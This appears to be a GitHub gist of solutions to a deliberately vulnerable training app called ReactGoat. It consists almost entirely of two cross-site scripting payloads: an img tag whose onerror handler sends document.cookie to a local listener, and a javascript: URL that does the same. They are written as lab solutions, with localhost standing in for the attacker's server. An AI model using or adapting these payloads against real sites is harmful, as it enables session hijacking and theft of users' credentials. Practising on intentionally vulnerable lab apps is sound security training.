Skip to content

Instantly share code, notes, and snippets.

@seisvelas

seisvelas/level0.html

Forked from vxermx/level0.html
Last active March 18, 2020 00:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save seisvelas/a492eaa9dc1c9644452e050a1aa67cb5 to your computer and use it in GitHub Desktop.
Save seisvelas/a492eaa9dc1c9644452e050a1aa67cb5 to your computer and use it in GitHub Desktop.
Download ZIP
ReactGoat Solutions
Raw
level0.html
<img
src='/fake'
onerror="if (document.cookie !=='lol') {var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9001/'+document.cookie); xhr.send();}"
/>
Raw
level1.js
javascript:var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9002/'+document.cookie); xhr.send();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment